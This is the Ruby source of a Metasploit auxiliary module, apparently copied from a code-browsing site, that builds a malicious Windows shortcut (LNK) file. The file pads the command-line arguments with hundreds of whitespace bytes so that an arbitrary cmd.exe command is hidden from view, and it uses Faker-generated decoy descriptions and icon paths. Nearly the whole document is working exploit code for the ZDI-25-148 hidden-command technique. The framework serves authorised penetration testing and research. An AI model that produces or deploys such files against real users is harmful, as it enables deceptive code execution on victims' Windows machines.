Path: blob/master/modules/auxiliary/fileformat/datablock_padding_lnk.rb
23590 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'faker'56class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::FILEFORMAT89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Shortcut (LNK) Padding',14'Description' => %q{15This module generates Windows LNK (shortcut) file that can execute16arbitrary commands. The LNK file uses environment variables and execute17its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace18character padding bytes and concatenates the actual payload.19},20'License' => MSF_LICENSE,21'Author' => [ 'Nafiez' ],22'References' => [23['ZDI', '25-148'],24['URL', 'https://zeifan.my/Windows-LNK/'],25['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'],26['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html']27],28'Platform' => 'win',29'Targets' => [ [ 'Windows', {} ] ],30'DefaultTarget' => 0,31'Notes' => {32'Stability' => [CRASH_SAFE],33'Reliability' => [],34'SideEffects' => [ARTIFACTS_ON_DISK]35},36'DisclosureDate' => '2025-07-19'37)38)3940register_options([41OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),42OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]),43OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]),44OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ])45])46end4748def run49datastore['FILENAME']50command = datastore['COMMAND']51description = datastore['DESCRIPTION']52icon_path = datastore['ICON_PATH']5354description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?55icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'icon')}%SystemRoot%\\System32\\shell32.dll" if icon_path.blank?5657buffer_size = datastore['BUFFER_SIZE']5859lnk_data = generate_lnk_file(command, description, icon_path, buffer_size)6061filename = file_create(lnk_data)6263print_good("successfully created #{filename}")64print_status("command line buffer size: #{buffer_size} bytes")65print_status("target command: #{command}")66end6768private6970def generate_lnk_file(command, description, icon_path, buffer_size)71data = ''.force_encoding('ASCII-8BIT')72data << create_shell_link_header73data << create_string_data(description)7475cmd_buffer = create_command_buffer(command, buffer_size)7677data << create_string_data(cmd_buffer)78data << create_string_data(icon_path)79data << create_environment_block8081data82end8384def create_shell_link_header85header = ''.force_encoding('ASCII-8BIT')86header << [0x0000004C].pack('V')87header << [0x00021401].pack('V')88header << [0x0000].pack('v')89header << [0x0000].pack('v')90header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8')9192link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x020000009394header << [link_flags].pack('V')95header << [0x00000000].pack('V')96header << [0x00000000, 0x00000000].pack('VV')97header << [0x00000000, 0x00000000].pack('VV')98header << [0x00000000, 0x00000000].pack('VV')99header << [0].pack('V')100header << [0].pack('V')101header << [0x00000007].pack('V')102header << [0].pack('v')103header << [0].pack('v')104header << [0].pack('V')105header << [0].pack('V')106107header108end109110def create_string_data(str)111data = ''.force_encoding('ASCII-8BIT')112113data << [str.length].pack('v')114115unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')116data << unicode_str117118data119end120121def create_command_buffer(command, buffer_size)122cmd_command = "/c #{command}"123124cmd_len = cmd_command.length125fill_bytes = buffer_size - cmd_len126127buffer = ' ' * fill_bytes + cmd_command128129buffer << "\x00"130131buffer132end133134def create_environment_block135data = ''.force_encoding('ASCII-8BIT')136137block_size = 0x00000314138data << [block_size].pack('V')139140signature = 0xA0000001141data << [signature].pack('V')142143env_path = '%windir%\\system32\\cmd.exe'144145ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT')146data << ansi_buffer147148unicode_buffer = env_path.encode('UTF-16LE')149unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')150data << unicode_buffer151152data153end154end155156157